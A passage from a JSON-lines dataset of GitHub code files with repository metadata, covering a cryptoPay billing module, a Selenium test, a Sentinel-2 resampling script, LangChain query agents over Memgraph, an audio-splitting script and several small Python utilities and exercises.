),\r\n Field('price', 'decimal(12,6)', default = 0.01, comment=T('Цена заказа')),\r\n Field('curr', length=3, writable=False),\r\n Field('cpay_bill_id', length=24, writable=False), ## хранит номер счета и секретный ключ\r\n Field('cp_pars', 'json', comment='дополнительные параметры для данного заказа'),\r\n Field('payed', 'boolean', writable=False),\r\n )\r\n'''\r\n\r\n# make url\r\n# order_id - may be empty\r\n# создает ссылку, номер заказа может быть пустой\r\ndef make_bill_url(db, order_record, pars_in={}):\r\n\r\n # copy common parameters into url_vars\r\n # копируем - чтобы не поменять значения в константе\r\n url_vars = CP_URL_VARS.copy()\r\n\r\n ### update parameters\r\n \r\n if order_record.cod:\r\n url_vars[ 'order'] = order_record.cod\r\n else:\r\n ### if [order] is empty - it will be generate in cryptoPay bill\r\n ### если номер заказа пуст - он будет автоматически сгенерирован на сервисе\r\n pass\r\n\r\n if order_record.price:\r\n url_vars[ 'price'] = order_record.price\r\n else:\r\n ### if [price] is empty - it will be setted to 0 in cryptoPay bill\r\n ### если цена не задана то счет будет с нулевой ценой\r\n pass\r\n\r\n if order_record.curr:\r\n url_vars[ 'curr'] = order_record.curr\r\n else:\r\n ### if [curr] is empty - it will be setted to BTC in cryptoPay bill\r\n ### если валюта счета не задана то она установится в BTC на сервисе\r\n pass\r\n\r\n # if other pars is exist for this ORDER then update url_vars\r\n if order_record.cp_pars:\r\n url_vars.update(order_record.cp_pars)\r\n\r\n # other input pars update\r\n # добавим дополнительные параметры\r\n url_vars.update(pars_in)\r\n\r\n # generate URL for example - http://shop/api_bill/make.json/10?[url_vars]\r\n # создадим ссылку для команды make\r\n return URL(CP_URL_MAKE, args=[CP_SHOP_ID], vars=url_vars, **CP_URL_PARS)\r\n\r\n#\r\n# make new bill on cryptoPay.in\r\n# создать новый счет\r\n#\r\ndef make_bill(db, order_record, pars_in={}):\r\n \r\n if order_record.cpay_bill_id:\r\n # bill already maked\r\n # счет уже создан\r\n cpay_bill_id = order_record.cpay_bill_id\r\n else:\r\n # make URL for \"make bill\" command\r\n # создать ссылку\r\n url = make_bill_url(db, order_record, pars_in)\r\n #print url\r\n\r\n # open url for make the bill\r\n # открыть ссылку\r\n ### insread of:\r\n ### import urllib\r\n ### page = urllib.urlopen('http://www.web2py.com').read()\r\n ### - use fetch function - than correct open Google GAE`s pages\r\n resp = fetch(url)\r\n # print resp\r\n # >> resp = 2341.fg3Wdr1\r\n\r\n try:\r\n # split bill_id and secret_key\r\n # разделим результат по точке\r\n tab = resp.split('.')\r\n bill_id = tab[0]\r\n bill_id = int(bill_id)\r\n if len(tab)>1:\r\n secret_key = tab[1]\r\n cpay_bill_id = resp\r\n except:\r\n # something wrong\r\n # ошибка\r\n return 'ERROR: %s' % resp\r\n \r\n #print 'update order_rec with', resp\r\n # save response as [bill_id].[secret_key] in order record\r\n # сохраним ответ как номер счета и секретный ключ \r\n order_record.update_record( cpay_bill_id = cpay_bill_id )\r\n db.commit()\r\n\r\n ### redirect clients to http://cryptoPay.in/shop/bill/show/[cpay_bill_id]\r\n ### перенаправим клиента на созданный счет\r\n redirect(CP_URL_SHOW + cpay_bill_id)\r\n\r\n \r\n#\r\n# check status of payments when receive a note from cryptoPay.in\r\n# проверка статуса оплаты - когда сайт принял уведомление от сервиса\r\n# mess - for debug purposes\r\n#\r\ndef on_note(db, pars):\r\n # take order cod from pars of note\r\n #\r\n order_cod = pars['order']\r\n \r\n # find order record for that cod\r\n # поиск по номеру заказа\r\n order_record = db(db.orders_tab.cod == order_cod).select().first()\r\n \r\n if not order_record:\r\n # if not found - ignore note\r\n #\r\n return 'ERROR: not mine'\r\n\r\n # make url for \"check\" command\r\n #\r\n url = CP_URL_CHECK + order_record.cpay_bill_id\r\n \r\n # send \"check\" command and receive response\r\n #\r\n resp = fetch(url)\r\n \r\n # decode response as JSON\r\n #\r\n resp = json.loads( resp )\r\n #print resp\r\n \r\n # examinate this response\r\n #\r\n mess = ''\r\n if resp['price'] == order_record.price and resp['order'] == order_record.cod and resp['curr'] == order_record.curr:\r\n # parameters of the bill is true\r\n # параметры ответа корректные\r\n mess += ' parameters of the bill is true
    '\r\n if resp['payed'] == order_record.price:\r\n # bill is payed, check status!\r\n # счет полностью оплачен, проверим статус оплаты\r\n mess += ' bill is payed, check status...
    '\r\n if resp['status'] in ['HARD', 'CLOSED']:\r\n # status OK, update my order\r\n # статус подходящий, учтем оплату заказа\r\n order_record.update_record( payed = True )\r\n db.commit()\r\n mess += ' PAYED! status:%s
    ' % resp['status']\r\n return mess\r\n mess += ' NOT PAYED, response: %s' % resp\r\n return mess\r\n","repo_name":"icreator/ipoPolzaSite","sub_path":"modules/crypto_pay.py","file_name":"crypto_pay.py","file_ext":"py","file_size_in_byte":8147,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"19907750199","text":"from selenium import webdriver\n\nclass Findingelement():\n\n def test(self):\n baseUrl = \"https://letskodeit.teachable.com/pages/practice\"\n driver = webdriver.Firefox()\n driver.get(baseUrl)\n elementbyId = driver.find_element_by_id(\"name\")\n\n if elementbyId is not None:\n print(\"We found an elemnet by id\")\n\n elementbyName = driver.find_element_by_name(\"show-hide\")\n\n if elementbyName is not None:\n print(\"we have found an element by name\")\nff = Findingelement()\nff.test()\n","repo_name":"rohitnagarSDET/Seleniumfirstproject","sub_path":"fiindingelements/elementbyIDname.py","file_name":"elementbyIDname.py","file_ext":"py","file_size_in_byte":540,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"19506308052","text":"'''\n\n self:是指当前对象本身\n 在类里面的方法第一个参数必须是self\n self 其实是可以写成this的\n self 一般用来指定同名的实例变量与参数\n\n'''\n\n\n# 1\n# 谁调用我,当前对象就是谁。\n# self:是指当前对象本身 ,此例中self为P1\n# class Person(object):\n# def __init__(self):\n# print(id(self))\n# p1 = Person()\n# print(id(p1))\n\n# 2\n# class Person(object):\n# def say_hello(self, name):\n# print(id(self))\n# print('hello, ', name)\n#\n#\n# p1 = Person()\n# print(id(p1))\n# p1.say_hello('agan')\n\n# 3 self 一般用来指定同名的实例变量与参数\nclass Animal(object):\n def eat(this, milk):\n this.milk = milk\n\n\na = Animal()\na.eat('milk')\n\n# 4 self 一般用来指定同名的实例变量与参数\n# self.milk 表示实例变量\n# milk 表示参数\n# class Animal(object):\n# def eat(self,milk):\n# self.milk = milk\n# a = Animal()\n# a.eat('agan')\n","repo_name":"aganpython/laopo3.5","sub_path":"python/Class&Object/T_Self.py","file_name":"T_Self.py","file_ext":"py","file_size_in_byte":962,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"919736836","text":"import time,sys\nimport numpy as np\nfrom esasnappy import ProductIO, GPF, jpy\n\nfrom grs import s2_angle\n\nfile='/DATA/Satellite/SENTINEL2/venice/L1C/S2A_OPER_PRD_MSIL1C_PDMC_20170121T221023_R022_V20150902T101026_20150902T101026.SAFE'\n\nsampler=sys.argv[1]\nfile=sys.argv[2]\n\n\ndef generic_resampler(product, resolution=20, method='Bilinear'):\n '''method: Nearest, Bilinear'''\n\n GPF.getDefaultInstance().getOperatorSpiRegistry().loadOperatorSpis()\n\n HashMap = jpy.get_type('java.util.HashMap')\n\n parameters = HashMap()\n parameters.put('targetResolution', resolution)\n parameters.put('upsampling', method)\n parameters.put('downsampling', 'Mean')\n parameters.put('flagDownsampling', 'FlagMedianAnd')\n parameters.put('resampleOnPyramidLevels', False)\n\n return GPF.createProduct('Resample', parameters, product)\n\ndef s2_resampler(product, resolution=20, upmethod='Bilinear', downmethod='Mean',\n flag='FlagMedianAnd', opt=False):\n\n '''Resampler operator dedicated to Sentinel2-msi characteristics (e.g., viewing angles)\n :param product: S2-msi product as provided by esasnappy ProductIO.readProduct()\n :param resolution: target resolution in meters (10, 20, 60)\n :param upmethod: interpolation method ('Nearest', 'Bilinear', 'Bicubic')\n :param downmethod: aggregation method ('First', 'Min', 'Max', 'Mean', 'Median')\n :param flag: method for flags aggregation ('First', 'FlagAnd', 'FlagOr', 'FlagMedianAnd', 'FlagMedianOr')\n :param opt: resample on pyramid levels (True/False)\n :return: interpolated target product'''\n\n res = str(resolution)\n\n resampler = jpy.get_type('org.esa.s2tbx.s2msi.resampler.S2ResamplingOp')\n\n op = resampler()\n op.setParameter('targetResolution', res)\n op.setParameter('upsampling', upmethod)\n op.setParameter('downsampling', downmethod)\n op.setParameter('flagDownsampling', flag)\n op.setParameter('resampleOnPyramidLevels', opt)\n op.setSourceProduct(product)\n\n return op.getTargetProduct()\n\n#------------\n# calculation\nimport os\nxml=os.path.join(file,'GRANULE/S2A_OPER_MSI_L1C_TL_EPA__20161008T200750_A001020_T32TQR_N02.04/S2A_OPER_MTD_L1C_TL_EPA__20161008T200750_A001020_T32TQR.xml')\n\n\n\ns2_angle.s2angle_v2().angle_computation(xml)\n\nproduct = ProductIO.readProduct(file)\nproduct.getMetadataRoot().getElement('Granules').getElement('Level-1C_Tile_12QWM').getElement('Geometric_Info')\n\n\np_core = generic_resampler(product)\np_s2tbx = s2_resampler(product)\nw, h = product.getSceneRasterWidth(),product.getSceneRasterHeight()\n\nh=512\ndef time_load(p_,angles=True):\n\n tt=time.time\n tdiff=[]\n for band in p_.getBandNames():\n arr = np.empty((w,h))\n t=[]\n t.append(tt())\n arr = p_.getBand(band).readPixels(0,0,w,h,arr)\n t.append(tt())\n tdiff.append(np.diff(t))\n\n return 'mean time to load a row: %.4f'%np.mean(tdiff)+'s'\n\narg=sys.argv[1]\nif arg == 'core':\n print('1st call with angles from core sampler: ',time_load(p_core,angles=False))\n print('2nd call with angles from core sampler: ',time_load(p_core,angles=False))\nelse:\n print('1st call without angles from s2tbx sampler: ',time_load(p_s2tbx,angles=False))\n print('2nd call without angles from s2tbx sampler: ',time_load(p_s2tbx,angles=False))\n","repo_name":"Tristanovsk/grs","sub_path":"issues/s2sampler/test2_snappy_resampling.py","file_name":"test2_snappy_resampling.py","file_ext":"py","file_size_in_byte":3390,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"62"} +{"seq_id":"30287464903","text":"#!/usr/bin/python\n#\n# See: http://www.sparkslabs.com/michael/blog/2014/03/07/guild---pipelinable-actors-with-late-binding/\n#\n\nimport os\nimport pygame\nimport pygame.camera\nimport time\n\nfrom guild.actor import *\npygame.camera.init()\n\n\nclass Camera(Actor):\n def main(self):\n camera = pygame.camera.Camera(pygame.camera.list_cameras()[0])\n camera.start()\n while True:\n yield 1\n frame = camera.get_image()\n self.output(frame)\n time.sleep(1.0 / 50)\n\n\nclass Display(Actor):\n def __init__(self, size):\n super(Display, self).__init__()\n self.size = size\n\n def process_start(self):\n self.display = pygame.display.set_mode(self.size)\n\n @actor_method\n def show(self, frame):\n self.display.blit(frame, (0, 0))\n pygame.display.flip()\n\n input = show\n\n\nclass FrameStore(Actor):\n def __init__(self, directory='Images', base='snap'):\n super(FrameStore, self).__init__()\n self.directory = directory\n self.base = base\n self.count = 0\n\n def process_start(self):\n try:\n os.makedirs(self.directory)\n except OSError as e:\n if e.errno != 17:\n raise\n\n @actor_method\n def input(self, frame):\n self.count += 1\n now = time.strftime(\"%Y%m%d-%H%M%S\", time.localtime())\n filename = \"%s/%s-%s-%05d.jpg\" % (self.directory,\n self.base, now,\n self.count)\n pygame.image.save(frame, filename)\n self.output(frame)\n\n\ncamera = Camera().go()\ndisplay = Display((800, 600)).go()\nframestore = FrameStore().go()\npipeline(camera, framestore, display)\n\nwhile 1:\n time.sleep(30)\n\nstop(camera, framestore, display)\nwait_for(camera, framestore, display)\n","repo_name":"sparkslabs/guild","sub_path":"examples/blog/recording_webcam.py","file_name":"recording_webcam.py","file_ext":"py","file_size_in_byte":1832,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"62"} +{"seq_id":"22667819250","text":"import os, sys, subprocess\nimport cal_gen, argparse, datetime\nfrom settings import WEEK_STARTS_ON\nfrom gooey import Gooey, GooeyParser\n\n@Gooey(program_name='iCal to Word Calendar Generator')\ndef main():\n # ask user what kind of calendar they would like to make and execute chosen program\n parser = GooeyParser(description=\"Turns .ics files from most calendar providers into Word .docx documents.\")\n parser.add_argument('Choice', choices=['Month', 'Week'],help=\"Choose which type of calendar to generate\",gooey_options={'label' : \"Monthly or Weekly?\"},default=\"Month\")\n parser.add_argument('Date', widget=\"DateChooser\",help=f\"Choose a {WEEK_STARTS_ON}. If month is selected, only the month and year are used. \",default=str(datetime.datetime.today())[:-16])\n parser.add_argument('Output', help=\"Where to save the output .docx\", widget='DirChooser',default=os.path.dirname(os.path.realpath(__file__))) \n parser.add_argument('Open',help=\"Open file when done?\",choices=['Yes', 'No'],default='Yes')\n args = parser.parse_args()\n \n input_date = args.Date.split(\"-\")\n input_type = args.Choice\n output_folder = args.Output\n\n document_name, csv_filename = cal_gen.create_document(input_type,input_date,output_folder)\n\n os.remove(csv_filename)\n\n if args.Open == \"Yes\":\n print(\"\\nOpening file...\")\n open_file(document_name)\n else:\n print(\"Bye!\")\n \ndef open_file(filename):\n ''' system-agnostic function for opening a file in the program associated with its file extension. takes a filename as input'''\n \n if sys.platform == \"win32\":\n os.startfile(filename)\n else:\n opener =\"open\" if sys.platform == \"darwin\" else \"xdg-open\"\n subprocess.call([opener, filename])\n\nif __name__ == \"__main__\":\n main()","repo_name":"narrowstacks/Word-Calendar-Generator","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1788,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"62"} +{"seq_id":"25089096316","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Nov 22 22:43:48 2020\r\n\r\n@author: manuelquintana\r\n\"\"\"\r\n\r\n\r\nroute = 'C:/Users/manuelquintana/Desktop/TP4 - BigData/'\r\nfile = 'iso3_names_convertion.csv'\r\nimport pandas as pd\r\n\r\ndf = pd.read_csv(route + file)\r\n\r\ndf = df[['Country', 'Alpha-3 code']]\r\ndf = df.rename(columns={'Alpha-3 code': 'Code'})\r\n\r\ndf['Code'] = df['Code'].str.replace('\"','')\r\ndf['Code'] = df['Code'].str.replace(' ','')\r\n\r\ndf\r\n\r\nfor i in range(len(df)):\r\n pais = df.loc[i,'Country']\r\n code = df.loc[i,'Code']\r\n print('{' + f'\\\"Country\\\": \\\"{pais}\\\", \\\"Code\\\": \\\"{code}\\\" ' + '},')\r\n","repo_name":"manquintana/mguntech-tirito","sub_path":"reactnative-fps/tirito-expo/conversor.py","file_name":"conversor.py","file_ext":"py","file_size_in_byte":604,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"42162921653","text":"for _ in range(int(input())):\n n=int(input())\n a=list(map(int,input().split()))\n l=[]\n s=[]\n for i in range(n):\n one=0\n if(a[i] in s):\n pass\n else:\n for j in range(n):\n if(a[i]==a[j]):\n one=one+1\n l.append(one)\n s.append(a[i])\n\n o=0\n e=0\n for i in range(len(l)):\n if(l[i]==1):\n o=o+1\n else:\n e=e+1\n\n if(e>=2):\n print(0)\n else:\n if(o==0 and e==1):\n print(2)\n elif(o==1 and e==0):\n print(3)\n elif(o==1 and e==1):\n print(1)\n elif(o==2 and e==0):\n print(2)\n elif(o==2 and e==1):\n print(1)\n else:\n print(0)","repo_name":"Animesh-Kumar-6515/Coding-Problem-jan-2023","sub_path":"codechef/APRIL COKOFF 2022/sticks and rectangle.py","file_name":"sticks and rectangle.py","file_ext":"py","file_size_in_byte":781,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"62"} +{"seq_id":"33849240098","text":"\"\"\"CSV resource module\"\"\"\nimport os\nimport csv\n\nfrom tempfile import NamedTemporaryFile\n\nimport chardet\nimport requests\n\nfrom pandas.io.parsers import ParserError, ParserWarning\n\nimport warnings\n\nimport pandas as pd\n\nfrom .base import BaseResource\n\nMAX_HEADER_ROWS_DETECTION = 30\nSNIFFING_SIZE = 32768\n\n# ParserWarning: https://github.com/pandas-dev/pandas/issues/18845\nwarnings.simplefilter(action='ignore', category=ParserWarning)\n\n\nclass CSVResource(BaseResource):\n\n def detect_encoding(self):\n tf = open(self.tf.name, 'rb')\n res = chardet.detect(tf.read(SNIFFING_SIZE))\n tf.close()\n return res['encoding']\n\n def detect_dialect(self, encoding):\n with open(self.tf.name, 'r', encoding=encoding) as csvfile:\n dialect = csv.Sniffer().sniff(csvfile.read(SNIFFING_SIZE),\n delimiters=[',', ';', '\\t'])\n return dialect\n\n def parse_df(self, encoding, dialect):\n for i in range(MAX_HEADER_ROWS_DETECTION):\n try:\n df = pd.read_csv(self.tf.name, dialect=dialect,\n encoding=encoding, skiprows=i)\n break\n except ParserError:\n pass\n return df\n\n def get_df(self):\n self.tf = NamedTemporaryFile(delete=False)\n\n r = requests.get(self.data['url'])\n self.tf.write(r.content)\n self.tf.close()\n\n encoding = self.detect_encoding()\n dialect = self.detect_dialect(encoding)\n df = self.parse_df(encoding, dialect)\n\n self.tf.close()\n os.unlink(self.tf.name)\n\n return df\n\n def get_data(self, read_csv_options=None):\n \"\"\"\n Load CSV data into a Panda dataframe\n \"\"\"\n if not self.data.get('url'):\n raise Exception('Missing resource url')\n if not read_csv_options:\n return self.get_df()\n else:\n return pd.read_csv(self.data['url'], **read_csv_options)\n","repo_name":"opendatateam/udata-explorer","sub_path":"udata_explorer/resources/csv.py","file_name":"csv.py","file_ext":"py","file_size_in_byte":1991,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"62"} +{"seq_id":"37030877789","text":"from __future__ import annotations\n\nfrom typing import List\n\nimport os\nfrom pathlib import Path\n\nfrom langchain.agents import Tool, initialize_agent, AgentType\nfrom langchain.chat_models import ChatOpenAI\n\nfrom langchain.prompts import MessagesPlaceholder, PromptTemplate\nfrom langchain.memory import ConversationBufferMemory\nfrom langchain.schema import SystemMessage\n\nfrom core.knowledgebase import constants\nfrom core.knowledgebase.MemgraphManager import MemgraphManager\nfrom core.knowledgebase.notes.Searcher import Searcher\n\n\nclass GeneralQueryAgent:\n def __init__(self: GeneralQueryAgent, repo_path: str, tools: List[Tool]) -> None:\n \n self.repo_path = repo_path\n\n self.system_message = ''\n self._init_system_message()\n\n self.llm = ChatOpenAI(\n temperature=constants.LLM_MODEL_TEMPERATURE, \n openai_api_key=constants.OPENAI_API_KEY,\n model_name=constants.LLM_MODEL_NAME\n )\n \n self.agent_kwargs = {\n \"extra_prompt_messages\": [MessagesPlaceholder(variable_name=\"memory\")],\n \"system_message\": self.system_message, \n }\n\n self.memory = ConversationBufferMemory(memory_key=\"memory\", return_messages=True)\n\n self.run_cypher_query = Tool.from_function(\n func = MemgraphManager.select_query_tool,\n name = \"run_cypher_query\",\n description = f\"\"\"Useful when you want to run Cypher queries on the knowledge graph. \n Note that the input has to be valid Cypher. Consult the graph schema in order to know how to write correct queries. \n Pay attention to the repo_path attribute.\n Returns results of executing the query.\"\"\"\n )\n\n self.tools = tools + [self.run_cypher_query]\n self._init_agent(self.tools)\n\n return\n\n def _init_agent(self: GeneralQueryAgent, tools: List[Tool]) -> None:\n self.agent = initialize_agent(\n tools,\n self.llm,\n agent=AgentType.OPENAI_FUNCTIONS,\n verbose=True,\n agent_kwargs=self.agent_kwargs,\n memory=self.memory\n )\n\n return\n\n def _init_system_message(self: GeneralQueryAgent) -> None:\n prompt_name = 'system_message_query'\n prompt_path = Path(os.path.join(os.path.dirname(__file__), 'prompts', prompt_name))\n prompt_text = prompt_path.read_text()\n prompt_template = PromptTemplate.from_template(prompt_text)\n\n mm = MemgraphManager()\n schema = mm.get_schema_for_repo(self.repo_path)\n self.system_message = SystemMessage(content=prompt_template.format(schema=schema, repo_path=self.repo_path))\n\n return\n\n def ask(self: GeneralQueryAgent, question: str) -> str:\n return self.agent.run(question)\n\n\nclass NotesQueryAgent(GeneralQueryAgent):\n\n def __init__(self: NotesQueryAgent, repo_path: str) -> None:\n\n self.searcher = Searcher(repo_path)\n\n search_graph = Tool.from_function(\n func=self.searcher.search_graph_tool,\n name=\"search_graph\",\n description=\"\"\"Useful for when you want to query the knowledge graph via the query embeddings. \n Returns descriptions of 3 most similar nodes.\"\"\"\n )\n\n\n search_text = Tool.from_function(\n func=self.searcher.search_text_tool,\n name=\"search_text\",\n description=\"\"\"Useful for when you want to query the document store via the query embeddings. \n Returns 3 most similar sentences to a given query.\"\"\"\n )\n\n notes_tools = [search_graph, search_text]\n super().__init__(repo_path, notes_tools)\n\n return\n\n\nclass CodeQueryAgent(GeneralQueryAgent):\n\n def __init__(self: CodeQueryAgent, repo_path: str) -> None:\n \n read_file = Tool.from_function(\n func=lambda p: Path(p).read_text(),\n name=\"read_file\",\n description=\"\"\"Useful for when you want to read the entire contents of a text file. \n Provide the tool with the absolute path of the file you want to read.\"\"\",\n )\n\n listdir = Tool.from_function(\n func = CodeQueryAgent.list_files,\n name=\"listdir\", \n description=\"\"\"Useful for when you want to find out the directory structure of the repository, and to know where a file is located.\"\"\"\n )\n \n code_tools = [read_file, listdir]\n super().__init__(repo_path, code_tools)\n \n return\n\n @staticmethod\n def list_files(startpath: str) -> str:\n out = \"\"\n for root, dirs, files in os.walk(startpath):\n if '.git' in dirs:\n dirs.remove('.git')\n level = root.replace(startpath, '').count(os.sep)\n indent = ' ' * 4 * (level)\n out += '{}{}/\\n'.format(indent, os.path.basename(root))\n subindent = ' ' * 4 * (level + 1)\n for f in files:\n out += '{}{}\\n'.format(subindent, f)\n return out\n\n\nif __name__ == '__main__':\n\n example_reponame = 'History'\n example_repopath = os.path.join(os.path.dirname(__file__), 'examples', example_reponame)\n na = NotesQueryAgent(example_repopath)\n\n\n print(na.ask(\"hi\"))\n print(na.ask(\"I am Patrik.\"))\n print(na.ask(\"What did I tell you my name was?\"))\n\n print(na.ask(\"When was Napoleon born?\"))\n print(na.ask(\"Where was Napoleon born?\"))\n print(na.ask(\"Can you quote the sentence available in the documents with tells about the birth of Napoleon?\"))\n","repo_name":"memgraph/bor","sub_path":"core/knowledgebase/QueryAgents.py","file_name":"QueryAgents.py","file_ext":"py","file_size_in_byte":5605,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"62"} +{"seq_id":"10950878720","text":"#!/usr/bin/env python3\n\nimport joblib\nimport pandas as pd\nimport sys\nsys.path.append(\"../\")\nimport audio_tools\nimport text_tools\n\naudio_tools.MUST_C_PATH = \"/work/aachen_id/MUST-C/en-cs/data\"\naudio_tools.AMARA_PATH = \"/work/aachen_id/AMARA\"\naudio_tools.AMARA_DATA_PATH = \"/work/aachen_id/AMARA\"\naudio_tools.TED_PATH = \"/home/aachen_id/Documents/BSc-Thesis-AudioSumm/BuildDataset/TED\"\naudio_tools.TED_DATA_PATH = \"/work/aachen_id/TED/Data\"\n\ntext_tools.MUST_C_PATH = \"/work/aachen_id/MUST-C/en-cs/data\"\ntext_tools.AMARA_PATH = \"/work/aachen_id/AMARA\"\ntext_tools.AMARA_DATA_PATH = \"/work/aachen_id/AMARA\"\ntext_tools.TED_PATH = \"/home/aachen_id/Documents/BSc-Thesis-AudioSumm/BuildDataset/TED\"\ntext_tools.TED_DATA_PATH = \"/work/aachen_id/TED/Data\"\n\ndataset = \"/home/aachen_id/Documents/BSc-Thesis-AudioSumm/BuildDataset/integrated_data.csv\"\n\n\ndef do_work(data, name, files):\n fragm_list = [None for i in range(data.shape[0])]\n transcript_list = [None for i in range(data.shape[0])]\n id_list = [None for i in range(data.shape[0])]\n save = 0\n for i in range(0,data.shape[0]):\n print(f\"{i+1}/{data.shape[0]}\")\n id_ = data.iloc[i][\"id\"]\n set_ = None\n if data.iloc[i][\"must_c\"]:\n set_ = text_tools.DATASETS.Mustc\n elif data.iloc[i][\"ted\"]:\n set_ = text_tools.DATASETS.Ted\n # elif data.iloc[i][\"amara\"]:\n # set_ = text_tools.DATASETS.Amara\n if set_ is not None:\n path = audio_tools.get_audio_path(id_, set_, **files)\n #print(\"Audio:\", path)\n if path == \"\" and id_ > 0:\n print(f\"Missing {id_} from {set_}\")\n else:\n transcript, _, _ = text_tools.get_transcript(id_, set_, False, **files)\n fragm = audio_tools.split_talk(path, transcript, rate=16000, original_rate=0)\n transcript = transcript[\"transcript\"].tolist()\n id_ = [id_ for j in transcript]\n fragm_list[i] = fragm\n transcript_list[i] = transcript\n id_list[i] = id_\n\n if i % 100 == 0 and i != 0:\n # To list\n fragm_list = [i for i in fragm_list if i is not None]\n transcript_list = [i for i in transcript_list if i is not None]\n id_list = [i for i in id_list if i is not None]\n\n fragm_list = [j.numpy() for i in fragm_list for j in i]\n transcript_list = [j for i in transcript_list for j in i]\n id_list = [j for i in id_list for j in i]\n\n # Save\n print(\"Writing\", save)\n with open(f\"{name}_{save}.pkl\", \"wb\")as f:\n tmp = [id_list, fragm_list, transcript_list]\n joblib.dump(tmp, f, compress=True)\n save += 1\n del tmp\n\n # Restart\n fragm_list = [None for i in range(data.shape[0])]\n transcript_list = [None for i in range(data.shape[0])]\n id_list = [None for i in range(data.shape[0])]\n\n\n fragm_list = [i for i in fragm_list if i is not None]\n transcript_list = [i for i in transcript_list if i is not None]\n id_list = [i for i in id_list if i is not None]\n\n fragm_list = [j.numpy() for i in fragm_list for j in i]\n transcript_list = [j for i in transcript_list for j in i]\n id_list = [j for i in id_list for j in i]\n\n # Save\n with open(f\"{name}_{save}.pkl\", \"wb\")as f:\n tmp = [id_list, fragm_list, transcript_list]\n joblib.dump(tmp, f, compress=True)\n save += 1\n del tmp\n\n\nif __name__ == \"__main__\":\n print(\"Loading dataset...\")\n df = pd.read_csv(dataset)\n df = df[df[\"id\"] >= 0]\n\n test_data = df[(df[\"test\"]==True) & (df[\"drop\"]==False)]\n train_data = df[(df[\"train\"]==True) & (df[\"drop\"] == False)]\n\n mustc_test_data = df[(df[\"test\"]==True) & (df[\"drop\"]==False) & (df[\"must_c\"]==True)]\n mustc_train_data = df[(df[\"train\"]==True) & (df[\"drop\"] == False) & (df[\"must_c\"]==True)]\n print(\"--done\")\n\n print(\"Loading files...\")\n files = text_tools.get_files()\n print(\"--done\")\n\n print(\"Making test dataset:\", test_data.shape[0])\n do_work(test_data, \"/hpcwork/aachen_id/test_audio/audio\", files)\n do_work(mustc_test_data, \"/hpcwork/aachen_id/mustc_test_audio/audio\", files)\n #do_work(mustc_test_data, \".\", files)\n\n print(\"Making train dataset:\", train_data.shape[0])\n do_work(train_data, \"/hpcwork/aachen_id/train_audio/audio\", files)\n do_work(mustc_train_data, \"/hpcwork/aachen_id/mustc_train_audio/audio\", files)\n","repo_name":"GianlucaVico/ted-summarization","sub_path":"BuildDataset/split_audio.py","file_name":"split_audio.py","file_ext":"py","file_size_in_byte":4523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"18447631488","text":"import json\nimport os\nimport shutil\nimport tempfile\nimport traceback\nfrom typing import (\n Callable,\n NamedTuple,\n)\n\nfrom galaxy.datatypes.registry import Registry\nfrom galaxy.files import ConfiguredFileSources\nfrom galaxy.job_execution.compute_environment import SharedComputeEnvironment\nfrom galaxy.job_execution.setup import JobIO\nfrom galaxy.managers.dbkeys import GenomeBuilds\nfrom galaxy.metadata.set_metadata import (\n get_metadata_params,\n get_object_store,\n validate_and_load_datatypes_config,\n)\nfrom galaxy.model import store\nfrom galaxy.model.store import SessionlessContext\nfrom galaxy.objectstore import BaseObjectStore\nfrom galaxy.structured_app import MinimalToolApp\nfrom galaxy.tools import (\n create_tool_from_representation,\n evaluation,\n)\nfrom galaxy.tools.data import (\n from_dict,\n ToolDataTableManager,\n)\nfrom galaxy.util.bunch import Bunch\n\n\nclass ToolAppConfig(NamedTuple):\n name: str\n tool_data_path: str\n galaxy_data_manager_data_path: str\n nginx_upload_path: str\n len_file_path: str\n builds_file_path: str\n root: str\n is_admin_user: Callable\n admin_users: list = []\n\n\nclass ToolApp(MinimalToolApp):\n \"\"\"Dummy App that allows loading tools\"\"\"\n\n name = \"tool_app\"\n is_webapp = False\n\n def __init__(\n self,\n sa_session: SessionlessContext,\n tool_app_config: ToolAppConfig,\n datatypes_registry: Registry,\n object_store: BaseObjectStore,\n tool_data_table_manager: ToolDataTableManager,\n file_sources: ConfiguredFileSources,\n ):\n # For backward compatibility we need both context and session attributes that point to sa_session.\n self.model = Bunch(context=sa_session, session=sa_session)\n self.config = tool_app_config\n self.datatypes_registry = datatypes_registry\n self.object_store = object_store\n self.genome_builds = GenomeBuilds(self)\n self.tool_data_tables = tool_data_table_manager\n self.file_sources = file_sources\n self.biotools_metadata_source = None\n self.security = None # type: ignore[assignment]\n\n\ndef main(TMPDIR, WORKING_DIRECTORY, IMPORT_STORE_DIRECTORY):\n metadata_params = get_metadata_params(WORKING_DIRECTORY)\n datatypes_config = metadata_params[\"datatypes_config\"]\n if not os.path.exists(datatypes_config):\n datatypes_config = os.path.join(WORKING_DIRECTORY, \"configs\", datatypes_config)\n datatypes_registry = validate_and_load_datatypes_config(datatypes_config)\n object_store = get_object_store(WORKING_DIRECTORY)\n import_store = store.imported_store_for_metadata(IMPORT_STORE_DIRECTORY)\n # TODO: clean up random places from which we read files in the working directory\n job_io = JobIO.from_json(os.path.join(IMPORT_STORE_DIRECTORY, \"job_io.json\"), sa_session=import_store.sa_session)\n tool_app_config = ToolAppConfig(\n name=\"tool_app\",\n tool_data_path=job_io.tool_data_path,\n galaxy_data_manager_data_path=job_io.galaxy_data_manager_data_path,\n nginx_upload_path=TMPDIR,\n len_file_path=job_io.len_file_path,\n builds_file_path=job_io.builds_file_path,\n root=TMPDIR,\n is_admin_user=lambda _: 